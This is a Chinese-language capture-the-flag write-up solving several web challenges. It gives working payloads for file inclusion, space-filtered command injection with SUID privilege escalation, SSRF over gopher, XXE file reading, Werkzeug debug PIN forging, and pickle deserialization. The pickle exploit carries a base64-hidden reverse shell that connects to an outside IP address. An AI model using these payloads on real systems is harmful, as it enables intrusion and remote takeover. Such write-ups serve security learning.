[Week 2] hello_include
访问/index.phps
得到源码
<?php
echo "Hint: The source code contains important information that must not be disclosed.<br>";
$allowed = ['hello.php', 'phpinfo.php'];
if (isset($_POST['f1Ie'])) {
if (strpos($_POST['f1Ie'], 'php://') !== false) {
die('不允许php://');
}
include $_POST['f1Ie'];
} else {
include 'hello.php';
}
访问/phpinfo.php
得到flag文件位置
然后直接包含即可
[Week 2] hello_shell
<?php
highlight_file(__FILE__);
$cmd = $_REQUEST['cmd'] ?? 'ls';
if (strpos($cmd, ' ') !== false) {
echo strpos($cmd, ' ');
die('no space allowed');
}
@exec($cmd); // 没有回显怎么办?
过滤了空格,用%09绕过,将命令执行的结果写入1.txt,读/flag
没东西,看下flag同目录下的readME
?cmd=cat%09/readME>1.txt
得到
你应该认识到,从网站上获取的任意命令执行的权限并不高,不信的话你试试whoami,看看你是什么用户。
那么,你该怎么才能拿到更高的权限呢?
尝试suid提权
?cmd=find%09/%09-perm%09-4000%092>/dev/null>1.txt
得到
/var/www/html/wc
/bin/su
/bin/mount
/bin/umount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
用 wc 命令提权
./wc%09--files0-from%09"/flag"%092>1.txt
这里输出报错信息是因为
wc
命令本身并不会显示文件的内容,而是输出统计信息,而当发生错误时,文件内容会出现在消息中,所以可以通过查看报错信息来查看文件内容
[Week 2] baby_ssrf
源码
from flask import Flask, request
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket
app = Flask(__name__)
BlackList=[
"127.0.0.1"
]
@app.route('/')
def index():
return open(__file__).read()
@app.route('/cmd',methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden"
if request.method == "GET":
return "Hello World!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()
@app.route('/visit')
def visit():
url = request.args.get('url')
if url is None:
return "No url provided"
url = urlparse(url)
realIpAddress = socket.gethostbyname(url.hostname)
if url.scheme == "file" or realIpAddress in BlackList:
return "Hacker!"
result = subprocess.run(["curl","-L", urlunparse(url)], capture_output=True, text=True)
# print(result.stderr)
return result.stdout
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8000)
两个路由, cmd 路由用来rce,要本地 ip 才行,visit 路由用来访问指定路由,结合题目,很明显的 ssrf ,绕过 127.0.0.1 的话用 0 就行,cmd 路由要 POST 传参,用gopher协议传就行,payload
visit?url=gopher://0:8000/_POST /cmd HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
cmd=env
两次url编码后,最终 payload
/visit?url=gopher://0:8000/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%33%25%36%64%25%36%34%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%33%61%25%33%38%25%33%30%25%33%30%25%33%30%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%37%25%30%64%25%30%61%25%30%64%25%30%61%25%36%33%25%36%64%25%36%34%25%33%64%25%36%35%25%36%65%25%37%36
注意这里格式要传对,特别是空格,我就是没传对卡了一会儿,正确格式
错误格式
[Week 2] baby_xxe
源码
from flask import Flask,request
import base64
from lxml import etree
app = Flask(__name__)
@app.route('/')
def index():
return open(__file__).read()
@app.route('/parse',methods=['POST'])
def parse():
xml=request.form.get('xml')
print(xml)
if xml is None:
return "None"
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name=root.find('name').text
return name or None
if __name__=="__main__":
app.run(host='0.0.0.0',port=8000)
parse 路由直接 xxe 即可,他这里查找的是 root 元素下的 name 元素,直接file协议读flag就行,payload
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY foo SYSTEM "file:///flag">]>
<root><name>&foo;</name></root>
最后记得 url 编码一下
[Week 2] baby_pe
源码
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
print(request.user_agent.string.lower().find("mozi"))
return open(__file__).read()
@app.route('/fileread')
def read_file():
filename = request.args.get('filename')
return open(filename).read()
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=8000)
可以读任意文件,还开了debug,打flask中的pin码计算,Werkzeug版本为2.3.6,python脚本
import hashlib
from itertools import chain
# werkzeug 2.0.x版本
probably_public_bits = [
'app' # username 可通过/etc/passwd获取
'flask.app', # modname默认值
'Flask', # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.9/site-packages/flask/app.py' # 路径 可报错得到 getattr(mod, '__file__', None)
]
private_bits = [
'2485723353090', # /sys/class/net/eth0/address mac地址十进制
'6ee8d0b5126041a1b3ddfefb9ea61b4e' #非docker机,读/etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
先import os下,进去后查看 /flag 文件说是要root用户,看下 suid 权限的命令
os.popen('find / -perm -u=s -type f 2>/dev/null').read()
可以打 find 提权,最后flag在 root 目录下
os.popen('find main.py -exec cat /root/flag \;').read()
[Week 2] baby_pickle
源码
import pickle
from flask import Flask, request
from base64 import b64decode
app = Flask(__name__)
UserPool = {}
BlackList = [b'\x00', b'\x1e', b'system', b'popen', b'os', b'sys', b'posix']
class User:
username = None
password = None
@app.route('/')
def index():
return open(__file__).read()
@app.route('/login', methods=['POST'])
def login():
data = request.form.get('data')
if data is not None:
opcode = b64decode(data)
for word in BlackList:
if word in opcode:
return "Hacker!"
user = pickle.loads(opcode)
print(user)
return "<h1>Hello {}</h1>".format(user.username)
else:
username = request.form.get('username')
password = request.form.get('password')
if username in UserPool.keys() and password == UserPool[username].password:
return "<h1>Hello {}</h1>".format(User.username)
@app.route('/register', methods=['POST'])
def register():
username = request.form.get('username')
password = request.form.get('password')
if username in UserPool.keys():
return "<h1>用户{}已存在</h1>".format(username)
UserPool[username] = password
return "<h1>注册成功</h1>"
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)
有 pickle.loads ,很明显打 pickle 反序列化,过滤了 os.system,还能用 subprocess.run,无回显的话弹个 shell 就行了,exp
import base64
import pickle
import subprocess
class Test(object):
def __reduce__(self):
return (subprocess.run,(['bash','-c',"{echo,cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTIxLjQwLjE5NS4xOTQiLDIzMzMpKTtbb3MuZHVwMihzLmZpbGVubygpLGYpZm9yIGYgaW4oMCwxLDIpXTtwdHkuc3Bhd24oImJhc2giKSc=}|{base64,-d}|{bash,-i}"],))
test = Test()
#protocol=0协议只有文本,其他协议是二进制,可能会产生\x00等数据
opcode = pickle.dumps(test,protocol=0)
print(base64.b64encode(opcode))
最后 flag 在环境变量中